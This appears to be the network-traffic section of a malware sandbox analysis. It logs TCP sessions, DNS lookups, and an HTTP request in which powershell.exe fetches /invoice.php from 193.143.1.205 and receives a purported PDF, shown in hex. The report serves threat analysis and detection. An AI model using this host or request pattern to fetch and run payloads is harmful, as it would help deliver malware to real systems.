Jan 11, 2025 08:05:43.102149963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.102175951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.102181911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.102216005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.102247000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.102282047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.102302074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.102302074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.102622032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.102654934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.102669001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.102730036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.102778912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.102812052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.102845907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.102857113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.102857113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.102896929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.102945089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.102946043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.102978945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.103028059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.103035927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.103060961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.103091955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.103107929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.103125095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.103157043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.103189945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.103213072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.103221893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.103251934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.103254080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.103287935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.103308916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.103705883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.103744030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.103773117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.103777885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.103846073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.103887081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.103918076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.103969097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.103971958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.104001045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.104034901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.104065895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.104065895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.104099035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.104131937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.104162931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.104165077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.104177952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.104197025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.104228973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.104257107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.104262114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.104294062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.104330063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.104377985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.104377985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.104763031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.104795933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.104829073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.104860067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.104880095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.104913950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.104932070 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.104945898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.104981899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.105012894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.105046034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.105073929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.105073929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.105077982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.105110884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.105143070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.105175018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.105184078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.105184078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.105207920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.105241060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.105259895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.105273008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.105305910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.105313063 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.105593920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.105629921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.105695009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.105743885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.105778933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.105809927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.105825901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.105859995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.105881929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.105890989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.105931997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.105981112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.106014967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.106045961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.106074095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.106074095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.106079102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.106110096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.106132984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.106142998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.106163979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.106175900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.106208086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.106229067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.106240988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.106277943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.106372118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.106647015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.106698036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.106712103 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.106730938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.106764078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.106775999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.106812954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.106844902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.106854916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.106893063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.106925011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.106959105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.106966019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.106991053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.107012033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.107023001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.107054949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.107070923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.107088089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.107120037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.107142925 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.107151985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.107183933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.107215881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.107254982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.107254982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.107610941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.107660055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.107693911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.107712030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.107726097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.107760906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.107773066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.107848883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.107882977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.107913971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.107914925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.107948065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.107959986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.107984066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.108016014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.108043909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.108050108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.108082056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.108114958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.108124971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.108146906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.108179092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.108182907 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.108211994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.108222008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.108567953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.108625889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.108658075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.108670950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.108705997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.108714104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.108737946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.108789921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.108799934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.108823061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.108855963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.108871937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.108886957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.108936071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.108968973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.109002113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.109013081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.109013081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.109034061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.109066963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.109086037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.109098911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.109131098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.109164000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.109198093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.109273911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.109273911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.109610081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.109642982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.109648943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.109692097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.109724045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.109738111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.109771967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.109805107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.109824896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.109853983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.109886885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.109922886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.109932899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.109967947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.109987974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.110002041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.110033989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.110068083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.110100985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.110132933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.110155106 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.110155106 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.110172033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.110189915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.110205889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.110255003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.110554934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.110605001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.110637903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.110651970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.110686064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.110719919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.110750914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.110783100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.110793114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.110793114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.110816956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.110848904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.110867977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.110882044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.110913992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.110933065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.110950947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.110996008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.526180029 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.892788887 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:44.313452005 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:44.318226099 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:44.318321943 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:44.318473101 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:44.324289083 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:45.108800888 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:45.161828041 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:46.700257063 CET	49705	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:05:51.935484886 CET	58720	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 08:05:51.935484886 CET	192.168.2.8	1.1.1.1	0x4e28	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 08:05:51.942965984 CET	1.1.1.1	192.168.2.8	0x4e28	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:05:52.631139040 CET	1.1.1.1	192.168.2.8	0x2344	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:05:52.631139040 CET	1.1.1.1	192.168.2.8	0x2344	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:06:57.132529020 CET	1.1.1.1	192.168.2.8	0x533d	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:06:57.132529020 CET	1.1.1.1	192.168.2.8	0x533d	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	6636	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:05:41.170809031 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 08:05:41.992085934 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:05:41 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 08:05:41.992157936 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 08:05:41.992192030 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 08:05:41.992244005 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 08:05:41.992278099 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 08:05:41.992311001 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
